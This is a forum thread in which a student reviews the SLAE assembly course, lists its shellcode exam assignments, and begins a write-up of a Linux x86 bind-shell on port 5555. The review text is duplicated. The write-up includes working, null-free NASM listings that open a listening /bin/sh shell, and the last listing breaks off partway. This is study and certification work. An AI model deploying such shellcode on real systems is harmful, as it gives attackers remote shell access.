SLAE - JollyFrogs' tale
JollyFrogs
Member Posts: 97 ■■■□□□□□□□
Last year, I completed the OSCP course. In recent weeks, my study buddy Mokaz emailed to ask if I was interested in joining him in the OSCE course. We had both completed OSCP around the same time and the idea sounded appealing but my current workload and commitments won't allow me to commence OSCE before July 2016.
I asked Mokaz if he had some good resources that he used to prepare, and he mentioned he had bought some books on Assembly, and also bought the SLAE course which he recommended as preparation to the OSCE course.
I looked up the SLAE course on-line and it seemed to fill the gap perfectly between OSCP and OSCE. The SLAE course (SecurityTube Linux Assembly Expert) teaches 32-bit low level Assembly programming, with a focus on security. The course comes with a free GDB course which I also enjoyed very much.
For people who are interested in doing the SLAE course, there are two options:
- 1) Completely free. You will need to promote the SLAE course on social networking sites after which you will be sent the courseware for FREE
- 2) Pay 150 US dollars for the full course including the PDF certificate. I personally chose this option as I'm not very active in the social networking world and 150 dollars sounded like a fair price. I don't even have a Twitter account - it's true!
The course is geared to people who have not programmed in Assembly and have little understanding of CPU, registers, memory and how the low level CPU works. I found that having some experience with Linux OS will slightly speed up the course as you won't have to look up what some of the Linux command do (sudo/cp/cd etc... - simple stuff), but it is not a requirement.
I got the SLAE materials shortly after paying for the course. The SLAE course comes in the form of videos, slides and a zip file containing the source codes for all modules. I didn't bother opening the slides because the course tutor Vivek is an excellent teacher and I was able to follow what he was explaining by using just the videos.
In the videos, Vivek is sitting in his living room (likely in his home) behind a laptop with a webcam. In the bottom right of the screen, you can see Vivek and somehow I really enjoyed this way of teaching. There were occasional moments where he would take a bottle and drink, or turn the air conditioning up (or down) or you could hear cars hooting in the background - but to me it just made the experience more personal and real. Vivek didn't cut out the mistakes he makes during compilation of source codes, and - as mentioned by Vivek in one of the videos - this is to show students how they can resolve issues they encounter.
My approach was to follow the video, and keep replaying the video until I fully understood all concepts - at times this meant I had to replay a certain part 3-4 times while I was taking notes in my Notepad++. Once I fully understood the concept(s), I would do all the steps that Vivek performed without going back to the videos. This worked well for me, but it certainly isn't the only way to do this course. Vivek mentions at multiple times during the video that there is not a single best way to approach a problem, and sometimes you can achieve the same result with different code. This is encouraged in the course.
The SLAE course consists of 2 parts with approx 18 modules per part and the GDB part which is another 15 or so modules
In the GDB part, I learnt how to use the GNU Debugger (GDB), whereas before I started the course I shunned away from GDB in favor of graphical debuggers like Immunity, OllyDbg and Evans debugger. I never used GDB because I didn't take the time to learn how it works but it's a great debugger once you get the feel of it. I suggest starting with the GDB part, as gdb is used throughout the course.
In part 1, I learnt about the various registers, the stack, CPU flags and the most popular Assembly instructions like MOV, LEA, PUSH, POP, CALL, etc. I also learnt how Assembly language uses the kernel to make system calls.
In part 2 I learnt about how shellcode works, how to analyze other people's shellcode, and how to write shellcode from scratch in assembly. I can now confidently write a (small) piece of Assembly code from scratch in a notepad editor which will compile in nasm without even looking at an example or text book - this is because Vivek taught the building blocks of the assembly code, and how everything interacts.
I thoroughly recommend doing this course if you are thinking about doing OSCE. I could have used a lot of this knowledge in my OSCP course and saved quite a bit of time. Even if you don't think about doing OSCE, I think that this course is absolutely worth a few days of your time - whether you pay the low price of 150 dollars or get it for free by tweeting the course on social networks.
The very last video in the course explains how the exam works. It is, very much like the OSCP and OSCE exams, a fully practical exam - no multiple questions.
Each student is given 7 assignments to complete at the end of the course. If you satisfactorily complete these assignments, then Vivek will send you a PDF with your certificate. I decided I wanted to certify so I will complete the assignments to try and get the certificate.
The instructions are simple:
- There are 7 Assignments of varying difficulty
- I need to post solutions to my personal blog - via wordpress.com, blogger, or my own domain
- I need to create a github account and store all my used code in my github account
- All code I create should be released under the creative commons license
- Every blog post must contain the following either at top or bottom:
"This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expect certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - <student ID>"
Sounds fair to me, so here are the assignments to pass the exam:
Assignment #1:
- Create a shell_bind_tcp assembly shellcode which:
- binds to a port
- execs shell on incoming connection
- The port number should be easily configurable (for instance via marked byte in shellcode, or a wrapper)
Assignment #2:
- Create a shell_reverse_tcp assembly shellcode which:
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable
Assignment #3:
- Study Egg Hunter shellcode - Vivek wants pupils to research themselves how egg hunters work
- Create a working demo of an egghunter
- The egg hunter should be configurable for different payloads
Assignment #4:
- Create a custom encoding scheme like the "Insertion Encoder" I was showed in the course
- Proof of concept using execve-stack as the shellcode to encode with your scheme and execute
Assignment #5:
- Take up at least 3 shellcode samples created using msgpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis on each of the 3 shellcodes
Assignment #6:
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making the polymorphed code shorter in length than the original code
Assignment #7:
- Create a custom crypter like the one shown in the course
- Free to use any existing encryption schema like RC4 or AES
- Can use any programming language
The evaluation Criteria:
- Originality of shellcode - how much out of the box can you think?
- Quality of explanation - detailed and insightful and comprehensive analysis
- Each assignment carries 10 marks - need 50 marks
- Certification criteria: Need to score at least 50 of 70 marks
Extra points:
- Posting additional new shellcodes beyond the assignments (10 points)
- Shellcode submitted and accepted by (10 points):
- Shell-storm.org
- Exploit-db.com
- Community Interaction (5 points)
- Chatter on Twitter, Facebook
- Comments on Blog posts
- Tech forum
Submission format:
- Only the pupil's own work will be accepted - no copy/pasting
- Email to: -email removed for privacy and anti-spam purposes-
- Subject: SLAE Exam Blog Posts
- Email contains:
- Links to all 7 blog posts
- Link to GitHub account where code is stored
- Link to Shell-storm / Exploit-db submissions
- Link to Twitter/Facebook if posted there
- It takes around 5 working days to receive the result
So here's my plan - since I want to max out my score ideally:
- Keep a post with my progress on techexams.net - Max 5 points
- Complete all 7 assignments - Max 70 points
- Pst additional new shellcodes beyond the assignments - Max 10 points
- shellcode submitted and accepted by exploit-db.com - Max 10 points
Note: shell-storm.org does not accept new shellcode as explained by them:
"... we have stop (sic) to accept shellcodes because modern exploitation uses now (sic) ROP payloads"
I figured that submitting shellcode to exploit-db.com would take longest to complete, so I will start with this first. This also happens to be Assignment #1, so I need to make the code good enough so that it is accepted on exploit-db.com.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expect certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 747
I asked Mokaz if he had some good resources that he used to prepare, and he mentioned he had bought some books on Assembly, and also bought the SLAE course which he recommended as preparation to the OSCE course.
I looked up the SLAE course on-line and it seemed to fill the gap perfectly between OSCP and OSCE. The SLAE course (SecurityTube Linux Assembly Expert) teaches 32-bit low level Assembly programming, with a focus on security. The course comes with a free GDB course which I also enjoyed very much.
For people who are interested in doing the SLAE course, there are two options:
- 1) Completely free. You will need to promote the SLAE course on social networking sites after which you will be sent the courseware for FREE
- 2) Pay 150 US dollars for the full course including the PDF certificate. I personally chose this option as I'm not very active in the social networking world and 150 dollars sounded like a fair price. I don't even have a Twitter account - it's true!
The course is geared to people who have not programmed in Assembly and have little understanding of CPU, registers, memory and how the low level CPU works. I found that having some experience with Linux OS will slightly speed up the course as you won't have to look up what some of the Linux command do (sudo/cp/cd etc... - simple stuff), but it is not a requirement.
I got the SLAE materials shortly after paying for the course. The SLAE course comes in the form of videos, slides and a zip file containing the source codes for all modules. I didn't bother opening the slides because the course tutor Vivek is an excellent teacher and I was able to follow what he was explaining by using just the videos.
In the videos, Vivek is sitting in his living room (likely in his home) behind a laptop with a webcam. In the bottom right of the screen, you can see Vivek and somehow I really enjoyed this way of teaching. There were occasional moments where he would take a bottle and drink, or turn the air conditioning up (or down) or you could hear cars hooting in the background - but to me it just made the experience more personal and real. Vivek didn't cut out the mistakes he makes during compilation of source codes, and - as mentioned by Vivek in one of the videos - this is to show students how they can resolve issues they encounter.
My approach was to follow the video, and keep replaying the video until I fully understood all concepts - at times this meant I had to replay a certain part 3-4 times while I was taking notes in my Notepad++. Once I fully understood the concept(s), I would do all the steps that Vivek performed without going back to the videos. This worked well for me, but it certainly isn't the only way to do this course. Vivek mentions at multiple times during the video that there is not a single best way to approach a problem, and sometimes you can achieve the same result with different code. This is encouraged in the course.
The SLAE course consists of 2 parts with approx 18 modules per part and the GDB part which is another 15 or so modules
In the GDB part, I learnt how to use the GNU Debugger (GDB), whereas before I started the course I shunned away from GDB in favor of graphical debuggers like Immunity, OllyDbg and Evans debugger. I never used GDB because I didn't take the time to learn how it works but it's a great debugger once you get the feel of it. I suggest starting with the GDB part, as gdb is used throughout the course.
In part 1, I learnt about the various registers, the stack, CPU flags and the most popular Assembly instructions like MOV, LEA, PUSH, POP, CALL, etc. I also learnt how Assembly language uses the kernel to make system calls.
In part 2 I learnt about how shellcode works, how to analyze other people's shellcode, and how to write shellcode from scratch in assembly. I can now confidently write a (small) piece of Assembly code from scratch in a notepad editor which will compile in nasm without even looking at an example or text book - this is because Vivek taught the building blocks of the assembly code, and how everything interacts.
I thoroughly recommend doing this course if you are thinking about doing OSCE. I could have used a lot of this knowledge in my OSCP course and saved quite a bit of time. Even if you don't think about doing OSCE, I think that this course is absolutely worth a few days of your time - whether you pay the low price of 150 dollars or get it for free by tweeting the course on social networks.
The very last video in the course explains how the exam works. It is, very much like the OSCP and OSCE exams, a fully practical exam - no multiple questions.
Each student is given 7 assignments to complete at the end of the course. If you satisfactorily complete these assignments, then Vivek will send you a PDF with your certificate. I decided I wanted to certify so I will complete the assignments to try and get the certificate.
The instructions are simple:
- There are 7 Assignments of varying difficulty
- I need to post solutions to my personal blog - via wordpress.com, blogger, or my own domain
- I need to create a github account and store all my used code in my github account
- All code I create should be released under the creative commons license
- Every blog post must contain the following either at top or bottom:
"This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expect certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - <student ID>"
Sounds fair to me, so here are the assignments to pass the exam:
Assignment #1:
- Create a shell_bind_tcp assembly shellcode which:
- binds to a port
- execs shell on incoming connection
- The port number should be easily configurable (for instance via marked byte in shellcode, or a wrapper)
Assignment #2:
- Create a shell_reverse_tcp assembly shellcode which:
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable
Assignment #3:
- Study Egg Hunter shellcode - Vivek wants pupils to research themselves how egg hunters work
- Create a working demo of an egghunter
- The egg hunter should be configurable for different payloads
Assignment #4:
- Create a custom encoding scheme like the "Insertion Encoder" I was showed in the course
- Proof of concept using execve-stack as the shellcode to encode with your scheme and execute
Assignment #5:
- Take up at least 3 shellcode samples created using msgpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis on each of the 3 shellcodes
Assignment #6:
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making the polymorphed code shorter in length than the original code
Assignment #7:
- Create a custom crypter like the one shown in the course
- Free to use any existing encryption schema like RC4 or AES
- Can use any programming language
The evaluation Criteria:
- Originality of shellcode - how much out of the box can you think?
- Quality of explanation - detailed and insightful and comprehensive analysis
- Each assignment carries 10 marks - need 50 marks
- Certification criteria: Need to score at least 50 of 70 marks
Extra points:
- Posting additional new shellcodes beyond the assignments (10 points)
- Shellcode submitted and accepted by (10 points):
- Shell-storm.org
- Exploit-db.com
- Community Interaction (5 points)
- Chatter on Twitter, Facebook
- Comments on Blog posts
- Tech forum
Submission format:
- Only the pupil's own work will be accepted - no copy/pasting
- Email to: -email removed for privacy and anti-spam purposes-
- Subject: SLAE Exam Blog Posts
- Email contains:
- Links to all 7 blog posts
- Link to GitHub account where code is stored
- Link to Shell-storm / Exploit-db submissions
- Link to Twitter/Facebook if posted there
- It takes around 5 working days to receive the result
So here's my plan - since I want to max out my score ideally:
- Keep a post with my progress on techexams.net - Max 5 points
- Complete all 7 assignments - Max 70 points
- Pst additional new shellcodes beyond the assignments - Max 10 points
- shellcode submitted and accepted by exploit-db.com - Max 10 points
Note: shell-storm.org does not accept new shellcode as explained by them:
"... we have stop (sic) to accept shellcodes because modern exploitation uses now (sic) ROP payloads"
I figured that submitting shellcode to exploit-db.com would take longest to complete, so I will start with this first. This also happens to be Assignment #1, so I need to make the code good enough so that it is accepted on exploit-db.com.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expect certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 747
Comments
-
mongrel Member Posts: 7 ■□□□□□□□□□Great Jolly, I've been following your posts and deem it very educational.
-
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment #1:
- Create a shell_bind_tcp assembly shellcode which:
- binds to a port
- execs shell on incoming connection
- The port number should be easily configurable (for instance via marked byte in shellcode, or a wrapper)
==========================================
==========================================
For this assignment, I decided to not return to the videos to see how the original bind shell was done by Vivek.
I remember that Vivek used a syscall to create a socket, and then fed /bin/sh to it. I will use the same approach.
First, I list all the syscalls in Linux:
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
Note, there are so many calls, it is easier to grep for socket:
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
OUTPUT: #define __NR_socketcall 102
Note: I know that this is a decimal number since the number is not prepended with 0x
$ man 2 socketcall
OUTPUT:
SYNOPSIS:
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system
calls. call determines which socket function to invoke. args points
to a block containing the actual arguments, which are passed through to
the appropriate call.
SEE ALSO
accept(2), bind(2), connect(2), getpeername(2), getsockname(2), get-
sockopt(2), listen(2), recv(2), recvfrom(2), recvmsg(2), send(2),
sendmsg(2), sendto(2), setsockopt(2), shutdown(2), socket(2), socket-
pair(2)
So it seems socketcall isn't just a simple syscall; it's a syscall chain. Time for research.
I found the following page to explain how a typical socket call works:
Using Socket as a Server (Listening) Socket
$ man 7 ip
Note: This shows how to create a socket:
Output: An IP socket is created by calling the socket(2) function as
socket(AF_INET, socket_type, protocol). Valid socket types are
SOCK_STREAM to open a tcp(7) socket, etc...
The only valid values for protocol are 0 and IPPROTO_TCP for TCP sockets
So in summary, this is what I want:
- create socket
- bind the socket to an IP and port
- Listen for incoming connections
- Accept incoming connections
- Pass /bin/sh to new client socket using execve
Note: The following command shows the call numbers
$ cat /usr/include/linux/net.h
Note: The following command confirms the TCP protocol number (0)
$ cat /usr/include/netinet/in.h
Note: IPPROTO_IP = 0, /* Dummy protocol for TCP. */
Note: Reading through the man pages, I understood how to set up a socket
However, in 'man 2 bind', it states "addrlen specifies the size,
in bytes, of the address structure pointed to by addr". In my case, the address
structure was 8 bytes in length. When I set addrlen to 8 bytes, the code worked
and the socket was created but the socket was bound to a random number.
Note: The following file provides a hint as to why the addrlen needs to be 16:
$ cat /usr/include/linux/in.h
===============
/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
/* Pad to size of `struct sockaddr'. */
unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct in_addr)];
};
#define sin_zero __pad /* for BSD UNIX comp. -FvK */
===============
It seems that Linux pads sockaddr_in to the size of sockaddr:
$ cat /usr/include/i386-linux-gnu/bits/socket.h
===============
/* Structure describing a generic socket address. */
struct sockaddr
{
__SOCKADDR_COMMON (sa_); /* Common data: address family and length. */
char sa_data[14]; /* Address data. */
};
===============
sockaddr has a size of 2 bytes + 14 bytes = 16 byte
So even though sockaddr_in only uses 8 bytes, its size is cast to 16.
In summary, 'addrlen' should be 16 and not 8.
The pseudo-code for a bind-shell looks like this:
---
sfd = socketcall.socket(int domain, int type, int protocol);
sockaddr = (2, 5555, 0.0.0.0)
socketcall.bind(sfd, pointer to sockaddr,16);
socketcall.listen(int sockfd, int backlog)
cfd = socketcall.accept(sfd, pointer to client-sockaddr or 0, sizeof(client-sockaddr) or 0);
dup2(cfd, 0); duplicate stdin to client socket
dup2(cfd, 1); duplicate stdout to client socket
dup2(cfd, 2); duplicate stderr to client socket
execve(/bin/sh,0,0) ; start /bin/sh with input/output duplicated into the socket
---
And here is the assembly code I came up with - it is unoptimized:
;======================================================================
global _start
section .text
_start:
; set up a stack frame with room for 5 double-words (20 bytes)
push ebp ; backup ebp on the stack
mov ebp, esp ; create a new stack window
sub esp, 0x14 ; make room on stack for local variables
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
mov dword [ebp -0x10], 0x2 ; SOCKET(2) arg1: AF_INET
mov dword [ebp -0xc], 0x1 ; SOCKET(2) arg2: SOCK_STREAM
mov dword [ebp -0x8], 0x0 ; SOCKET(2) arg3: TCP
; invoke socketcall to create the socket
mov eax, 0x66 ; socketcall syscall (102)
mov ebx, 0x1 ; SOCKET(2)
lea ecx, [ebp-0x10] ; address of parameter array
; ECX will point to stack which should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
mov [ebp-0x14], eax ; store fd on stack so I can refer to it
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; note that BIND(2)_arg1 sockfd is already stored in [ebp-0x14]
lea esi, [ebp-0x8]
mov [ebp-0x10], esi ; BIND(2)_arg2: pointer to sockaddr struct
mov dword [ebp-0xc], 0x10 ; BIND(2)_arg3: length of sockaddr struct
mov word [ebp-0x8], 0x2 ; BIND(2)_sockaddr_1: AF_INET
mov word [ebp-0x6], 0xB315 ; BIND(2)_sockaddr_2: IN_PORT in reverse order
mov dword [ebp-0x4], 0x0 ; BIND(2)_sockaddr_3: IN_ADDR any
; invoke socketcall to bind the socket to IP and port
mov eax, 0x66 ; socketcall syscall (102)
mov ebx, 0x2 ; BIND(2)
lea ecx, [ebp-0x14] ; address of parameter array which starts with *fd
; ECX will point to stack which should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ PTR to -> ^structlen ^AFNT ^port ^in_addr
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; note that LISTEN(2)_arg1 sockfd is already stored in [ebp-0x14]
mov dword [ebp-0x10], 0x0 ; LISTEN(2)_arg2: Backlog (connection queue size)
; invoke socketcall to set the socket in listen mode
mov eax, 0x66 ; socketcall syscall (102)
mov ebx, 0x4 ; LISTEN(2)
lea ecx, [ebp-0x14] ; address of parameter array which starts with *fd
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; note that ACCEPT(2)_arg1 sockfd is already stored in [ebp-0x14]
mov dword [ebp-0x10], 0x0 ; ACCEPT(2)_arg2: address of the connecting peer.
mov dword [ebp-0xc], 0x0 ; ACCEPT(2)_arg3: length of ACCEPT(2)_arg2.
; invoke socketcall to set the socket to accept connections
mov eax, 0x66 ; socketcall syscall (102)
mov ebx, 0x5 ; ACCEPT(2)
lea ecx, [ebp-0x14] ; address of parameter array which starts with *fd
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
mov [ebp-0x10], eax ; store client socket fd on stack so I can refer to it
; ^ note, I can directly copy eax into ebx for the next instruction
; note: ebp-0x14 = server socket fd
; note: ebp-0x10 = client socket fd
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
mov ebx, [ebp-0x10] ; client socket fd
mov ecx, 00000002 ; initiate the loop counter at 2 = stderr
mov eax, 0x3f ; DUP2(2)
int 0x80 ; SYSCALL DUP2(2)
mov ecx, 00000001 ; initiate the loop counter at 1 = stdout
mov eax, 0x3f ; DUP2(2)
int 0x80 ; SYSCALL DUP2(2)
mov ecx, 00000000 ; initiate the loop counter at 0 = stdin
mov eax, 0x3f ; DUP2(2)
int 0x80 ; SYSCALL DUP2(2)
mov eax, 11 ; EXECVE(2)
; execve(/bin//sh,0,0)
push 0 ; null byte
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to "/bin//sh" string
mov ecx, 0 ; null ptr to argv
mov edx, 0 ; null ptr to envp
int 0x80 ; Start /bin/sh in the client socket FD
; Note: since execve takes over, there is no need to close the socket
; mov eax, 0x6 ; CLOSE(2)
; mov ebx, [ebp-0x14] ; load socket fd
; int 0x80 ; SYSCALL CLOSE(2)
; add esp, [ebp-0x14] ; restore ESP to pre-stackframe value
; pop ebp ; restore EBP to pre-stackframe value
;======================================================================
$ nasm -f elf32 -o bindshell.o bindshell.nasm | ld -o bindshell bindshell.o
$ gdb bindshell -ex 'break _start' -ex 'run' -ex 'display/16b $ecx'
$ ./bindshell
In another terminal, I can connect to the localhost on port 5555.
So my assembly code works, however I'm not there yet.
Shellcode can not have zero values in it, so I need to remove any zeroes from the shellcode
;======================================================================
; Filename: bindshell.nasm
; Author: JollyFrogs (LookoutFrog@gmail.com)
; Purpose: This shell creates a /bin/sh bind-shell on port 5555
; Size: 100 Bytes
;
; License: This work is licensed under a Creative Commons
; Attribution-NonCommercial 4.0 International License.
global _start
section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; set EAX to 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
xor ebx, ebx ; EBX = 00000000
inc ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
mov ecx, esp ; ECX = points to top of stack
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
mov edi, eax ; store fd in edi
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ ^structlen ^AFNT ^port ^in_addr
; | PTR to
^
pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
pop eax ; EAX = 00000001
salc ; EAX = 00000000
push eax ; PUSH 00000000 (sockaddr_1)
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
mov ecx, esp ; ECX = ESP
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to bind the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD ^Backlog = 0
salc ; EAX = 00000000
push eax ; PUSH 00000000 (Backlog)
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket in listen mode
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000003
inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov ecx, esp ; ECX = points to top of stack
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00
; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
push eax ; PUSH 00000000
push eax ; PUSH 00000000
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket to accept connections
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
mov ecx, esp ; ECX = points to top of stack
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg eax, ebx ; EBX = CFD, EAX = 00000005
xor ecx, ecx ; ECX = 00000000
mov cl, 3 ; ECX = 00000003
redirect:
dec ecx ; ECX = 00000002
mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz redirect ;
; spawn /bin/sh shell
salc ; EAX = 00000000
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
push eax ; PUSH 00000000 (NULL byte)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 11 ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to "/bin//sh" string
int 0x80 ; Start /bin/sh in the client socket FD
;======================================================================
I then optimized the code above by removing unneeded pieces of code, and reusing stack values.
;======================================================================
; Filename: bind5555.nasm
; Author: JollyFrogs (LookoutFrog@gmail.com)
; Purpose: This shellcode creates a /bin/sh TCP bind-shell on port 5555
; Size: 87 Bytes
;
; License: This work is licensed under a Creative Commons
; Attribution-NonCommercial 4.0 International License.
;
; To change the port, change the bytes "\x15\xb3" (5555 in reverse order)
;
; Compilation:
; nasm -f elf32 -o bind5555.o bind5555.nasm | ld -o bind5555 bind5555.o
global _start
section .text
_start:
; Note: parameters are placed on the stack in reverse order due to little endianness
;
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; EAX = 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg edi, eax ; store fd in edi
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ ^structlen ^AFNT ^port ^in_addr
; | PTR to
^
pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
pop eax ; EAX = 00000001
; Note: Stack = 00000000
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
mov ecx, esp ; ECX = ESP (0xBFFFF3E
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to bind the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD ^Backlog = 0
; Note that EAX = 00000000 due to return code from SOCKETCALL above
push eax ; PUSH 00000000 (Backlog)
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket in listen mode
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000003
inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is now open on the system and listening
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00
; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
